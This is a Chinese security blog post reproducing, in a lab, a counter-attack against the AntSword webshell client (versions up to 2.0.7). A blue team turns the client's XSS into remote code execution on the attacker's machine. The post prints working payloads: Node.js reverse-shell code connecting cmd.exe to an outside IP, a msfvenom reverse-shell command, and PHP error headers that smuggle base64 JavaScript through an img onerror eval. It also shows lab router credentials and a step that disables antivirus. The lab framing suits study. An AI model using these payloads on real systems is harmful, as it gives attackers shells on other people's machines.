分享 | 蚁剑RCE反制复现

admin 2022年7月11日09:46:59评论311 views字数 6268阅读20分53秒阅读模式


分享 | 蚁剑RCE反制复现
Zero

漏洞概述

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。

分享 | 蚁剑RCE反制复现
One

影响范围


AntSword <=2.0.7

分享 | 蚁剑RCE反制复现
Two

实验环境搭建

环境拓扑

分享 | 蚁剑RCE反制复现

安装v2.0.7版本蚁剑

版本2.0.7的蚁剑不能安装在Linux系统,所以将Windows 10物理机当做红队使用的主机。

下载地址:链接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
提取码:rizb

1.将压缩包解压,解压之后。

分享 | 蚁剑RCE反制复现

2.打开启动器,选择windows版本,双击AntSword.exe 启动文件。

分享 | 蚁剑RCE反制复现

3.初始化,配置核心源代码文件位置。

分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现


4.双击AntSword.exe 重启。

分享 | 蚁剑RCE反制复现

蓝队靶标Centos 7

Centos 7自动获取到的IP地址为10.10.19.50
1.在靶机上搭建LAMP服务和phpcms v9.6.0环境。

分享 | 蚁剑RCE反制复现

2.边界FW2防火墙开放对应的接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

分享 | 蚁剑RCE反制复现

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

分享 | 蚁剑RCE反制复现

设置新的端口转发规则。

分享 | 蚁剑RCE反制复现

名称:可以任意取名,建议与规则相关;
协议:可以选择TCP、UDP、ICMP,一个规则最好只选一个协议,不然容易出问题;
源区域:这个指的是外网所在的区域,我们事先配置好了每个接口一个区域,因此只要选对应接口即可,FW2选ETH4,FW1选ETH2;
外部端口:这里是外网供访问的端口号,可以填单个端口或者一个端口段,如8000-9000;
目标区域:这里填写的是前往内网服务器路由的出接口,以FW2为例,如果要映射服务器就填写ETH3;
内部IP地址:这里填写内网服务器的IP地址,在下拉框的最后可以输入ip按回车即可变为可选的ip;
内部端口:这里填写内部服务器要映射的端口,可以填单个端口或者一个端口段,如8000-9000。

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

分享 | 蚁剑RCE反制复现


蓝队靶标Windows Server 2016

Windows Server 2016自动获取到的IP地址是10.10.19.51
1.使用phpstudy搭建,启动nginx+mysql服务。

分享 | 蚁剑RCE反制复现

2.搭建好phpcms v9.6.0环境。

分享 | 蚁剑RCE反制复现

3.边界FW2防火墙开放对应的接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

分享 | 蚁剑RCE反制复现

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

分享 | 蚁剑RCE反制复现

设置新的端口转发规则。

分享 | 蚁剑RCE反制复现

将靶标Windows Server 2016上的phpcms平台映射到公网66.28.5.2的80端口上

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现
Three

反制

反制条件

红队:Windows 10 蓝队:Centos 7

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现


2.蓝队Centos 7 :关闭防火墙。

分享 | 蚁剑RCE反制复现

3.边界FW2防火墙开放接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

分享 | 蚁剑RCE反制复现

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

分享 | 蚁剑RCE反制复现

点击“编辑”,进入修改端口转发规则。

分享 | 蚁剑RCE反制复现


配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

红队:Windows 10 蓝队:Windows Server 2016

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现


2.蓝队Windows Server 2016:关闭防火墙。

分享 | 蚁剑RCE反制复现


3.边界FW2防火墙开放接口
访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

分享 | 蚁剑RCE反制复现

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

分享 | 蚁剑RCE反制复现

点击“编辑”,进入修改端口转发规则。

分享 | 蚁剑RCE反制复现

配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

分享 | 蚁剑RCE反制复现

4.红队Windows 10关闭杀毒软件,比如火绒、360等等。

分享 | 蚁剑RCE反制复现

如果没有关闭火绒,则会报僵尸网络攻击,并将攻击进行拦截。

反制目的

当红队再次使用蚁剑连接时,直接反弹shell,蓝队可以反控红队机器。

反制开始条件

红队:Windows 10 蓝队:Centos 7

1.蓝队检查日志时,发现红队使用蚁剑v2.0连接了20220609050516861.php。

分享 | 蚁剑RCE反制复现

2.查看20220609050516861.php,发现该文件是一句话木马文件。

分享 | 蚁剑RCE反制复现

反制过程

Centos 7

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609050516861.php内容。
1.1 使用net.Socket方法制作木马
将以下内容进行base64编码,66.28.5.2为蓝队centos 7映射到公网上的IP地址,监听端口为10099。

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10099端口上。

将上面base64编码完成的内容放进Buffer函数中。

<?php


header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA5OSwgIjY2LjI4LjUuMiIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");


?>


1.2 使用MSF生成node.js木马
使用msfvenom 命令生成木马

msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js

分享 | 蚁剑RCE反制复现


将payload.js中的内容进行base64编码,将base64编码完成的代码放进Buffer函数。

分享 | 蚁剑RCE反制复现

<?php


header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDk5LCAiNjYuMjguNS4yIiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSAidW5kZWZpbmVkIikgeyBzaC5zdGRvdXQucGlwZShjbGllbnQuc29ja2V0KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50LnNvY2tldCk7IH0gZWxzZSB7IHV0aWwucHVtcChzaC5zdGRvdXQsIGNsaWVudC5zb2NrZXQpOyB1dGlsLnB1bXAoc2guc3RkZXJyLCBjbGllbnQuc29ja2V0KTsgfSB9KTsgc29ja2V0Lm9uKCJlcnJvciIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSkoKTs=`,`base64`).toString())'>");


?>

2.开启监听端口
蓝队使用nc开启监听10099端口。

分享 | 蚁剑RCE反制复现

3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现

Windows Server 2016

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609035913593.php内容。
将以下内容进行base64编码,66.28.5.2为蓝队靶机映射到公网上的IP地址,监听端口为10088。

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

将上面base64编码完成的内容放进Buffer函数中。

<?php


header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4OCwgIjY2LjI4LjUuMiIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");


?>

2.开启监听端口
蓝队靶机使用nc开启监听10088端口。

分享 | 蚁剑RCE反制复现


3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现


分享 | 蚁剑RCE反制复现
Four

参考材料

1.https://mp.weixin.qq.com/s/IRVfXxmPJo2ynym2kl9X-Q
2.https://github.com/AntSwordProject/antSword/issues/147
3.https://mp.weixin.qq.com/s/nfa2DHkDPE43cIvvRmk1TA
4.https://mp.weixin.qq.com/s/MfWuBm_H7JxAvBKfnTpLZQ

文章来源:国科漏斗社区

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗分享 | 蚁剑RCE反制复现

往期文章有彩蛋哦分享 | 蚁剑RCE反制复现

分享 | 蚁剑RCE反制复现

一如既往的学习,一如既往的整理,一如即往的分享分享 | 蚁剑RCE反制复现

如侵权请私聊公众号删文

推荐阅读↓↓↓

我知道你在看



原文始发于微信公众号(渗透Xiao白帽):分享 | 蚁剑RCE反制复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日09:46:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享 | 蚁剑RCE反制复现http://cn-sec.com/archives/1169997.html

发表评论

匿名网友 填写信息